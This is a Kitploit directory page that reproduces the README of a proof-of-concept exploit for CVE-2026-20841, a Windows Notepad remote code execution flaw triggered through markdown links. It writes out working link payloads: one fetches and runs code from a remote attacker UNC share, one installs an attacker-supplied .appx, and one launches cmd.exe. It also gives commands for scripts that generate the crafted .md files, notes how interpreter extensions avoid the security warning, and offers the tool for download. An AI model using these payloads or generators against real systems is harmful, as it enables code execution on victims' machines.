Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-20841 — Proof-of-concept exploit for CVE-2026-20841, a Windows Notepad RCE via markdown links. Generates crafted .md files to trigger remote payloads, app sideloading, or local binary execution. | Kitploit
Tools/GitHubGitHub/atiilla/cve-2026-20841
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubatiilla/cve-2026-20841

CVE-2026-20841

Proof-of-concept exploit for CVE-2026-20841, a Windows Notepad RCE via markdown links. Generates crafted .md files to trigger remote payloads, app sideloading, or local binary execution.

View Repository
54379 months agoNot yet reviewed
Share

CVE-2026-20841 - Windows Notepad RCE

PoC for a remote code execution flaw in Windows Notepad's markdown renderer. The markdown engine does not restrict URL protocols, allowing arbitrary protocol handlers to be triggered via clickable links.

Disclaimers

  1. Not my discovery. Credit goes to the original researchers on the MSRC advisory. This is a PoC recreation.
  2. Lower severity than it sounds. Requires more than one click in most cases (see Limitations). Built this because "Notepad RCE" is too funny to pass up.

Attack Vectors

1. Remote Payload (file:///)

[click](file:///\\attacker@5005\DavWWWRoot\payload.py)

The file:/// protocol resolves remote UNC paths. Link a payload and Windows will fetch and execute it on click.

2. App Sideloading (ms-appinstaller://)

[click](ms-appinstaller://?source=https://evil/xxx.appx)

Opens App Installer with an attacker-supplied .appx/.msix package.

3. Local Binary Execution (file://)

[click](file://C:/windows/system32/cmd.exe)

Launches any executable already on disk — cmd.exe, powershell.exe, mshta.exe, etc.

Usage

Both scripts generate a poc.md with a crafted link in the current directory.

node poc.js <host> <port> <payload/path>
python poc.py <host> <port> <payload/path>
# example
node poc.js 192.168.1.100 5005 hello.py
notepad poc.md

Test payloads in payloads/.

Limitations

  1. Dangerous extensions are still flagged. .exe, .lnk, .vbs and similar trigger a Windows security warning regardless of Notepad's behavior.
  2. Interpreter extensions bypass the warning. .py and .jar execute silently if Python or Java is installed on the target.

Notes

  • Vulnerable Notepad builds are on Uptodown. Verify the digital signature before use.
  • Test only in a VM.

Stay safe!

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    370
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →